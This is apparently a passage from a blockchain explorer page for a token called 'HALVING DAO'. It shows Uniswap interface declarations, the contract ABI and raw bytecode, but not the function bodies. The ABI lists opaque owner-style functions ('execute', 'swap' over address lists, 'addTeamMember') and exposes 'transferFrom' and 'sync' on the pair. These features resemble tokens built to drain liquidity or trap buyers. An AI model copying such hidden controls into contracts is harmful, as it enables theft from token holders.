    require(b >= 0);
    return b;
  }
}

File 5 of 5: Uniswap.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.18;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"frequencyInSecondsliquidityPools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"getLP","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405262278f58600d556001600f556001601060006101000a81548160ff02191690831515021790555065013ca65120006011556001601360006101000a81548160ff0219169083151502179055506001601360016101000a81548160ff0219169083151502179055506001601360026101000a81548160ff0219169083151502179055506001602160006101000a81548160ff021916908315150217905550348015620000ae57600080fd5b506040518060400160405280600b81526020017f48414c56494e472044414f0000000000000000000000000000000000000000008152506040518060400160405280600781526020017f48414c56494e470000000000000000000000000000000000000000000000000081525081600390816200012c919062000d98565b5080600490816200013e919062000d98565b5050506000620001536200065960201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90506200021e8160016200066160201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200029e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c4919062000ee9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200032c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000352919062000ee9565b6040518363ffffffff1660e01b81526004016200037192919062000f2c565b6020604051808303816000875af115801562000391573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003b7919062000ee9565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200042c600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200066160201b60201c565b60008060008060008060006c27716b6a0adc2d677c08000000905083601a8190555082601b8190555081601c81905550601c54601b54601a5462000471919062000f88565b6200047d919062000f88565b601981905550866016819055508560178190555084601881905550601854601754601654620004ad919062000f88565b620004b9919062000f88565b6015819055506107d0600a82620004d1919062000fc3565b620004dd91906200103d565b600a8190555069152d02c7e14af6800000600981905550693f870857a3e0e380000060088190555062000515620006cc60201b60201c565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000565620006cc60201b60201c565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620005c7620005b9620006cc60201b60201c565b6001620006f660201b60201c565b620005da306001620006f660201b60201c565b620005ef61dead6001620006f660201b60201c565b6200061162000603620006cc60201b60201c565b60016200066160201b60201c565b620006243060016200066160201b60201c565b6200063961dead60016200066160201b60201c565b6200064b3382620007b160201b60201c565b505050505050505062001244565b600033905090565b620006716200095f60201b60201c565b80602360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620007066200095f60201b60201c565b80602260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620007a5919062001092565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000823576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200081a9062001110565b60405180910390fd5b6200083760008383620009f060201b60201c565b6200085381600254620009f560201b620026991790919060201c565b600281905550620008b1816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620009f560201b620026991790919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000953919062001143565b60405180910390a35050565b6200096f6200065960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200099562000a5860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620009ee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009e590620011b0565b60405180910390fd5b565b505050565b600080828462000a06919062000f88565b90508381101562000a4e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a459062001222565b60405180910390fd5b8091505092915050565b60008062000a6b62000a7460201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000af557600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000b19565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000ba057607f821691505b60208210810362000bb65762000bb562000b58565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000be1565b62000c2c868362000be1565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000c7962000c7362000c6d8462000c44565b62000c4e565b62000c44565b9050919050565b6000819050919050565b62000c958362000c58565b62000cad62000ca48262000c80565b84845462000bee565b825550505050565b600090565b62000cc462000cb5565b62000cd181848462000c8a565b505050565b5b8181101562000cf95762000ced60008262000cba565b60018101905062000cd7565b5050565b601f82111562000d485762000d128162000bbc565b62000d1d8462000bd1565b8101602085101562000d2d578190505b62000d4562000d3c8562000bd1565b83018262000cd6565b50505b505050565b600082821c905092915050565b600062000d6d6000198460080262000d4d565b1980831691505092915050565b600062000d88838362000d5a565b9150826002028217905092915050565b62000da38262000b1e565b67ffffffffffffffff81111562000dbf5762000dbe62000b29565b5b62000dcb825462000b87565b62000dd882828562000cfd565b600060209050601f83116001811462000e10576000841562000dfb578287015190505b62000e07858262000d7a565b86555062000e77565b601f19841662000e208662000bbc565b60005b8281101562000e4a5784890151825560018201915060208501945060208101905062000e23565b8683101562000e6a578489015162000e66601f89168262000d5a565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000eb18262000e84565b9050919050565b62000ec38162000ea4565b811462000ecf57600080fd5b50565b60008151905062000ee38162000eb8565b92915050565b60006020828403121562000f025762000f0162000e7f565b5b600062000f128482850162000ed2565b91505092915050565b62000f268162000ea4565b82525050565b600060408201905062000f43600083018562000f1b565b62000f52602083018462000f1b565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f958262000c44565b915062000fa28362000c44565b925082820190508082111562000fbd5762000fbc62000f59565b5b92915050565b600062000fd08262000c44565b915062000fdd8362000c44565b925082820262000fed8162000c44565b9150828204841483151762001007576200100662000f59565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200104a8262000c44565b9150620010578362000c44565b9250826200106a57620010696200100e565b5b828204905092915050565b60008115159050919050565b6200108c8162001075565b82525050565b6000602082019050620010a9600083018462001081565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620010f8601f83620010af565b91506200110582620010c0565b602082019050919050565b600060208201905081810360008301526200112b81620010e9565b9050919050565b6200113d8162000c44565b82525050565b60006020820190506200115a600083018462001132565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062001198602083620010af565b9150620011a58262001160565b602082019050919050565b60006020820190508181036000830152620011cb8162001189565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006200120a601b83620010af565b91506200121782620011d2565b602082019050919050565b600060208201905081810360008301526200123d81620011fb565b9050919050565b6080516155c86200127c600039600081816110f101528181612ca301528181613c7801528181613d590152613d8001526155c86000f3fe6080604052600436106103f35760003560e01c80638da5cb5b11610208578063c024666811610118578063dd62ed3e116100ab578063f11a24d31161007a578063f11a24d314610f38578063f2fde38b14610f63578063f637434214610f8c578063f8b45b0514610fb7578063fe72b27a14610fe2576103fa565b8063dd62ed3e14610e68578063e02ae09f14610ea5578063e2f4560514610ee2578063e884f26014610f0d576103fa565b8063c8c8ebe4116100e7578063c8c8ebe414610d98578063ce12e64c14610dc3578063d257b34f14610e00578063d85ba06314610e3d576103fa565b8063c024666814610cf2578063c17b5b8c14610d1b578063c18bc19514610d44578063c876d0b914610d6d576103fa565b8063a0d82dc51161019b578063a9059cbb1161016a578063a9059cbb14610bfb578063aacebbe314610c38578063b62496f514610c61578063bbbb3ffc14610c9e578063bbc0c74214610cc7576103fa565b8063a0d82dc514610b3f578063a165506f14610b6a578063a457c2d714610b93578063a4c82a0014610bd0576103fa565b806395d89b41116101d757806395d89b4114610a935780639c3b4fdc14610abe5780639ec22c0e14610ae95780639fccce3214610b14576103fa565b80638da5cb5b146109e95780638ea5220f14610a145780639213691314610a3f578063924de9b714610a6a576103fa565b80633582ad2311610303578063715018a6116102965780637571336a116102655780637571336a1461092a57806375f0a874146109535780637bce5a041461097e5780638095d564146109a95780638a8c523c146109d2576103fa565b8063715018a614610896578063730c1888146108ad57806373fa7ddb146108d6578063751039fc146108ff576103fa565b80634fbee193116102d25780634fbee193146107c65780636a486a8e146108035780636ddd17131461082e57806370a0823114610859576103fa565b80633582ad231461070a57806339509351146107355780633eb2b5ad1461077257806349bd5a5e1461079b576103fa565b80631a8145bb1161038657806326ededb81161035557806326ededb81461063557806327c8f8351461065e5780632c3e486c146106895780632e82f1a0146106b4578063313ce567146106df576103fa565b80631a8145bb146105795780631f3fed8f146105a4578063203e727e146105cf57806323b872dd146105f8576103fa565b806318160ddd116103c257806318160ddd146104cf5780631816467f146104fa578063184c16c514610523578063199ffc721461054e576103fa565b806306fdde03146103ff578063095ea7b31461042a57806310d5de53146104675780631694505e146104a4576103fa565b366103fa57005b600080fd5b34801561040b57600080fd5b5061041461101f565b6040516104219190613efd565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c9190613fbd565b6110b1565b60405161045e9190614018565b60405180910390f35b34801561047357600080fd5b5061048e60048036038101906104899190614033565b6110cf565b60405161049b9190614018565b60405180910390f35b3480156104b057600080fd5b506104b96110ef565b6040516104c691906140bf565b60405180910390f35b3480156104db57600080fd5b506104e4611113565b6040516104f191906140e9565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c9190614033565b61111d565b005b34801561052f57600080fd5b506105386111e5565b60405161054591906140e9565b60405180910390f35b34801561055a57600080fd5b506105636111eb565b60405161057091906140e9565b60405180910390f35b34801561058557600080fd5b5061058e6111f1565b60405161059b91906140e9565b60405180910390f35b3480156105b057600080fd5b506105b96111f7565b6040516105c691906140e9565b60405180910390f35b3480156105db57600080fd5b506105f660048036038101906105f19190614104565b6111fd565b005b34801561060457600080fd5b5061061f600480360381019061061a9190614131565b611298565b60405161062c9190614018565b60405180910390f35b34801561064157600080fd5b5061065c600480360381019061065791906141e9565b611371565b005b34801561066a57600080fd5b5061067361144e565b6040516106809190614258565b60405180910390f35b34801561069557600080fd5b5061069e611454565b6040516106ab91906140e9565b60405180910390f35b3480156106c057600080fd5b506106c961145a565b6040516106d69190614018565b60405180910390f35b3480156106eb57600080fd5b506106f461146d565b604051610701919061428f565b60405180910390f35b34801561071657600080fd5b5061071f611476565b60405161072c9190614018565b60405180910390f35b34801561074157600080fd5b5061075c60048036038101906107579190613fbd565b611489565b6040516107699190614018565b60405180910390f35b34801561077e57600080fd5b5061079960048036038101906107949190614033565b61153c565b005b3480156107a757600080fd5b506107b06115e3565b6040516107bd9190614258565b60405180910390f35b3480156107d257600080fd5b506107ed60048036038101906107e89190614033565b611609565b6040516107fa9190614018565b60405180910390f35b34801561080f57600080fd5b5061081861165f565b60405161082591906140e9565b60405180910390f35b34801561083a57600080fd5b50610843611665565b6040516108509190614018565b60405180910390f35b34801561086557600080fd5b50610880600480360381019061087b9190614033565b611678565b60405161088d91906140e9565b60405180910390f35b3480156108a257600080fd5b506108ab6116c0565b005b3480156108b957600080fd5b506108d460048036038101906108cf91906142d6565b611789565b005b3480156108e257600080fd5b506108fd60048036038101906108f89190614329565b611855565b005b34801561090b57600080fd5b50610914611902565b6040516109219190614018565b60405180910390f35b34801561093657600080fd5b50610951600480360381019061094c9190614389565b61192e565b005b34801561095f57600080fd5b50610968611991565b6040516109759190614258565b60405180910390f35b34801561098a57600080fd5b506109936119b7565b6040516109a091906140e9565b60405180910390f35b3480156109b557600080fd5b506109d060048036038101906109cb91906143c9565b6119bd565b005b3480156109de57600080fd5b506109e7611a48565b005b3480156109f557600080fd5b506109fe611a8f565b604051610a0b9190614258565b60405180910390f35b348015610a2057600080fd5b50610a29611ab9565b604051610a369190614258565b60405180910390f35b348015610a4b57600080fd5b50610a54611adf565b604051610a6191906140e9565b60405180910390f35b348015610a7657600080fd5b50610a916004803603810190610a8c919061441c565b611ae5565b005b348015610a9f57600080fd5b50610aa8611b0a565b604051610ab59190613efd565b60405180910390f35b348015610aca57600080fd5b50610ad3611b9c565b604051610ae091906140e9565b60405180910390f35b348015610af557600080fd5b50610afe611ba2565b604051610b0b91906140e9565b60405180910390f35b348015610b2057600080fd5b50610b29611ba8565b604051610b3691906140e9565b60405180910390f35b348015610b4b57600080fd5b50610b54611bae565b604051610b6191906140e9565b60405180910390f35b348015610b7657600080fd5b50610b916004803603810190610b8c9190614449565b611bb4565b005b348015610b9f57600080fd5b50610bba6004803603810190610bb59190613fbd565b611bca565b604051610bc79190614018565b60405180910390f35b348015610bdc57600080fd5b50610be5611c97565b604051610bf291906140e9565b60405180910390f35b348015610c0757600080fd5b50610c226004803603810190610c1d9190613fbd565b611c9d565b604051610c2f9190614018565b60405180910390f35b348015610c4457600080fd5b50610c5f6004803603810190610c5a9190614033565b611cbb565b005b348015610c6d57600080fd5b50610c886004803603810190610c839190614033565b611d83565b604051610c959190614258565b60405180910390f35b348015610caa57600080fd5b50610cc56004803603810190610cc09190614449565b611db6565b005b348015610cd357600080fd5b50610cdc611e9a565b604051610ce99190614018565b60405180910390f35b348015610cfe57600080fd5b50610d196004803603810190610d149190614389565b611ead565b005b348015610d2757600080fd5b50610d426004803603810190610d3d91906143c9565b611f5e565b005b348015610d5057600080fd5b50610d6b6004803603810190610d669190614104565b611fe9565b005b348015610d7957600080fd5b50610d82612084565b604051610d8f9190614018565b60405180910390f35b348015610da457600080fd5b50610dad612097565b604051610dba91906140e9565b60405180910390f35b348015610dcf57600080fd5b50610dea6004803603810190610de59190614033565b61209d565b604051610df79190614018565b60405180910390f35b348015610e0c57600080fd5b50610e276004803603810190610e229190614104565b6120bd565b604051610e349190614018565b60405180910390f35b348015610e4957600080fd5b50610e5261219e565b604051610e5f91906140e9565b60405180910390f35b348015610e7457600080fd5b50610e8f6004803603810190610e8a9190614449565b6121a4565b604051610e9c91906140e9565b60405180910390f35b348015610eb157600080fd5b50610ecc6004803603810190610ec79190614033565b61222b565b604051610ed99190614018565b60405180910390f35b348015610eee57600080fd5b50610ef7612281565b604051610f0491906140e9565b60405180910390f35b348015610f1957600080fd5b50610f22612287565b604051610f2f9190614018565b60405180910390f35b348015610f4457600080fd5b50610f4d6122b3565b604051610f5a91906140e9565b60405180910390f35b348015610f6f57600080fd5b50610f8a6004803603810190610f859190614033565b6122b9565b005b348015610f9857600080fd5b50610fa16123f0565b604051610fae91906140e9565b60405180910390f35b348015610fc357600080fd5b50610fcc6123f6565b604051610fd991906140e9565b60405180910390f35b348015610fee57600080fd5b5061100960048036038101906110049190614104565b6123fc565b6040516110169190614018565b60405180910390f35b60606003805461102e906144b8565b80601f016020809104026020016040519081016040528092919081815260200182805461105a906144b8565b80156110a75780601f1061107c576101008083540402835291602001916110a7565b820191906000526020600020905b8154815290600